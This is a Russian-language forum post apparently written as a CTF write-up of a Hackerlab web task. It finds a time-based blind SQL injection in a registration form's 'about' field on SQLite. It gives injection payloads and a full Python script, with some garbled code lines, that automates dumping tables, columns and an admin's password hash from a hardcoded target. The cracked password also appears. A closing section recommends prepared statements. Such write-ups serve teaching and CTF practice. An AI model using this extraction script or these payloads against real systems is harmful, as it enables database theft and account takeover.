HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Задания/Квесты/CTF/Конкурсы
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 24.08.2025, 23:10
Amarant
Новичок
Регистрация: 29.01.2025
Сообщений: 0
С нами: 680115

Репутация: 0
По умолчанию

Предисловие

Всем привет, господа форумчане, хочу поделиться своим опытом в решении моего первого таска уровня сложныйиз категории Web. Речь пойдет оДосье Хна Hackerlab, поэтому присаживайтесь и приятного прочтения

Первичная разведка

Первостепенно конечно же переходим на сайт и делаем базовый осмотр, что там да как, какие есть функции и подмечаем потенциальные точки атаки. На сайте имеется форма регистрации с параметрами логина, пароля и about (о себе), что сразу можно приметить для вектора атаки. Так же есть форма авторизации и сам сайт. Я создал тестового пользователя и зашёл через него


Сразу подмечаем то, что на сайте высвечивается имя юзера, есть генератор рандомных чисел и собственно всё
Негусто, поэтому пробуем идти в атаку и использовать стандартные payload

Стандартные попытки атак

XSS и другие атаки никак не заходили в форму логина и экранировались, как бы я не пытался их ввести

После этого я попытался внедрить стандартные атаки для проверки во вкладку about, но при логине никакого результата они не дали, страница после авторизации была совершенно непреклонна и тут я встрял в тупик. После небольших размышлений, я решил попробовать проверить SQL инъекцию и при попытке ввести в поле about символ ' получил ошибку

Таким образом мои поиски натолкнули меня на слепую инъекцию, с чем я раньше не сталкивался, пошла проверка.

SQL:


Код:
'||(SELECT SLEEP(5))||'
SQL:


Код:
'||(SELECT pg_sleep(5))||'
Вывели ту же ошибку, но после проверка на SQLiteв burp дала результат, запрос с кодом




SQL:


Код:
'||(SELECT randomblob(100000000))||'
вызвал задержку сервера. Бинго! Вектор атаки есть


Боль, слёзы и отчаяние...

И на этом моменте я встрял уже в монолитный тупик. Извлекать данные и шерстить все таблицы внутри сайта вручную было бы слишком долго и необходимо было написать скрипт для автоматизации процесса, но ранее такого опыта у меня не было. Деваться было некуда, поэтому методом проб и ошибок, через боль и слёзы спустя почти 6 часов у меня получилось это

Python:


Код:
import
requests
import
time
import
random
import
sys
# Конфигурация
TARGET_URL
=
"http://62.173.140.174:16068/register"
DELAY_THRESHOLD
=
1.0
BLOB_SIZE
=
100000000
MAX_TABLES
=
10
MAX_COLS
=
15
MAX_LEN
=
50
CHARS
=
"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz"
# Глобальные счетчики
total_requests
=
0
start_time
=
time
.
time
(
)
session_counter
=
int
(
time
.
time
(
)
)
def
send_registration
(
about
)
:
global
total_requests
# Генерация уникального имени пользователя
username
=
f"a{session_counter}_{total_requests}_{random.randint(1000,9999)}"
password
=
f"p{random.randint(1000000,9999999)}"
boundary
=
"----WebKitFormBoundaryVBvviyM5jtKyiJRT"
body
=
(
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="username"\r\n\r\n'
f"{username}\r\n"
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="password"\r\n\r\n'
f"{password}\r\n"
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="about"\r\n\r\n'
f"{about}\r\n"
f"--{boundary}--\r\n"
)
headers
=
{
"Content-Type"
:
"multipart/form-data; boundary=----WebKitFormBoundaryVBvviyM5jtKyiJRT"
,
"Content-Length"
:
str
(
len
(
body
)
)
}
total_requests
+=
1
try
:
request_start
=
time
.
time
(
)
response
=
requests
.
post
(
TARGET_URL
,
headers
=
headers
,
data
=
body
,
timeout
=
15
)
elapsed
=
time
.
time
(
)
-
request_start
return
elapsed
if
response
.
status_code
==
200
else
None
except
:
return
None
def
test_condition
(
condition
)
:
payload
=
f"'||(SELECT CASE WHEN{condition}THEN randomblob({BLOB_SIZE}) ELSE '' END)||'"
elapsed
=
send_registration
(
payload
)
return
elapsed
and
elapsed
>
DELAY_THRESHOLD
def
get_count
(
query
,
max_val
)
:
# Бинарный поиск для определения количества
low
,
high
=
0
,
max_val
while
low
={mid}"
)
:
low
=
mid
+
1
else
:
high
=
mid
-
1
return
high
def
get_char
(
query
,
pos
)
:
# Проверяем наиболее вероятные символы в первую очередь
for
char
in
"aeiouytsrnhdlcumwfgpbvkxjqz_AEIOUYTSRNHDLCUMWFGPBVKXJQZ0123456789"
:
if
test_condition
(
f"SUBSTR(({query}),{pos},1)='{char}'"
)
:
return
char
# Если не нашли, проверяем остальные символы
for
char
in
CHARS
:
if
test_condition
(
f"SUBSTR(({query}),{pos},1)='{char}'"
)
:
return
char
return
'?'
def
get_value
(
query
,
desc
=
""
)
:
# Определение длины
length
=
get_count
(
f"LENGTH(({query}))"
,
MAX_LEN
)
if
length
 0"
)
:
return
[
]
count
=
get_count
(
"(SELECT COUNT(*) FROM sqlite_master WHERE type='table')"
,
MAX_TABLES
)
tables
=
[
]
for
i
in
range
(
count
)
:
table
=
get_value
(
f"(SELECT tbl_name FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET{i})"
,
f"Таблица{i+1}"
)
if
table
and
table
!=
"sqlite_sequence"
:
tables
.
append
(
table
)
print
(
f"Найдена таблица:{table}"
)
return
tables
def
get_columns
(
table
)
:
# Проверка существования таблицы
print
(
f"Ищу столбцы в таблице{table}..."
)
if
not
test_condition
(
f"(SELECT COUNT(*) FROM sqlite_master WHERE type='table' AND tbl_name='{table}') > 0"
)
:
return
[
]
count
=
get_count
(
f"(SELECT COUNT(*) FROM pragma_table_info('{table}'))"
,
MAX_COLS
)
columns
=
[
]
for
i
in
range
(
count
)
:
col
=
get_value
(
f"(SELECT name FROM pragma_table_info('{table}') LIMIT 1 OFFSET{i})"
,
f"Столбец{i+1}"
)
if
col
:
columns
.
append
(
col
)
print
(
f"Найден столбец:{col}"
)
return
columns
def
find_admin_data
(
table
,
columns
)
:
# Поиск столбца с username
user_col
=
None
for
col
in
columns
:
if
'user'
in
col
.
lower
(
)
or
'name'
in
col
.
lower
(
)
or
'login'
in
col
.
lower
(
)
:
user_col
=
col
break
if
not
user_col
:
print
(
"Не найден столбец с именем пользователя"
)
return
None
# Проверка существования admin
print
(
"Проверяю существование пользователя admin..."
)
if
not
test_condition
(
f"EXISTS(SELECT 1 FROM{table}WHERE{user_col}='admin')"
)
:
print
(
"Пользователь admin не найден"
)
return
None
# Извлечение данных
print
(
f"Извлекаю данные администратора из таблицы{table}:"
)
admin_data
=
{
}
for
col
in
columns
:
value
=
get_value
(
f"(SELECT{col}FROM{table}WHERE{user_col}='admin' LIMIT 1)"
,
f"{col}"
)
admin_data
[
col
]
=
value
return
admin_data
def
main
(
)
:
# Базовая проверка инъекции
print
(
"Проверяю SQL-инъекцию..."
)
if
not
test_condition
(
"1=1"
)
:
print
(
"SQL-инъекция не работает"
)
return
# Находим все таблицы
tables
=
get_tables
(
)
if
not
tables
:
print
(
"Таблицы не найдены"
)
return
print
(
"\nВсе найденные таблицы:"
)
for
i
,
table
in
enumerate
(
tables
)
:
print
(
f"{i+1}){table}"
)
# Ищем данные admin
print
(
"\nИщу данные администратора..."
)
admin_found
=
False
for
table
in
tables
:
if
table
.
lower
(
)
in
[
"sqlite_master"
,
"sqlite_sequence"
]
:
continue
print
(
f"\nАнализирую таблицу:{table}"
)
columns
=
get_columns
(
table
)
if
not
columns
:
print
(
"В таблице нет столбцов"
)
continue
admin_data
=
find_admin_data
(
table
,
columns
)
if
admin_data
:
print
(
"\nДанные администратора:"
)
for
col
,
value
in
admin_data
.
items
(
)
:
print
(
f"{col}:{value}"
)
admin_found
=
True
break
if
not
admin_found
:
print
(
"Данные администратора не найдены"
)
# Статистика
elapsed
=
time
.
time
(
)
-
start_time
print
(
f"\nГотово! Запросов:{total_requests}, Время:{elapsed:.1f}сек"
)
if
__name__
==
"__main__"
:
main
(
)
Да простят меня все программисты...

По мере теста менее удачных версий данного скрипта я выяснил, что есть таблица users, в ней есть username, password и about, а так же пользователь admin и пошёл процесс извлечения пароля и about

И вот, я получаю извлеченный password и строку в about "I love cats..."

Но как ни странно, пароль 11ec9b3bbea01Jcc59be4574284de206 не подошёл, это оказался лишь хэш. Поставив на отработку hashcat я пошёл пробовать вручную его раскодировать на cyber chef и на декодер MD5 хэшей

Шеф, что было ожидаемо ничего не дал

Но вот MD5 decrypt смог его расхэшировать

Пробуем зайти под пользователем admin и с паролем surside13 и вуаля!

Вот и наш флаг

Выводы:

Уязвимость:

Слепая SQL-инъекция (Blind SQL Injection) в поле «О себе» при регистрации. Сервер не проверял и не экранировал пользовательский ввод, что позволяло вставлять произвольный SQL-код в запрос. Из-за отсутствия ошибок на странице данные извлекались через анализ времени ответа сервера.

Как защититься:
  • Использовать prepared statements (параметризованные запросы). Это главное правило.
  • Проводить строгую валидацию входных данных (например, разрешать только текст, запрещая спецсимволы).
Заключение:

Таск показал, что даже второстепенные поля (типа «О себе») могут стать вектором для атаки. Важно всегда обрабатывать пользовательский ввод, даже если он кажется безопасным. SQLite — не самая популярная БД для веба, но её особенности (вроде randomblob()) нужно знать для успешного решения CTF-задач. Спасибо хакерлабу за этот интересный опыт, очень рад тому, что мне дался мой первый тяжёлый таск

Господа форумчане, принимаю любую конструктивную критику и вопросы, буду рад понять свои ошибки, особенно насчёт моего скрипта или подискутировать
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.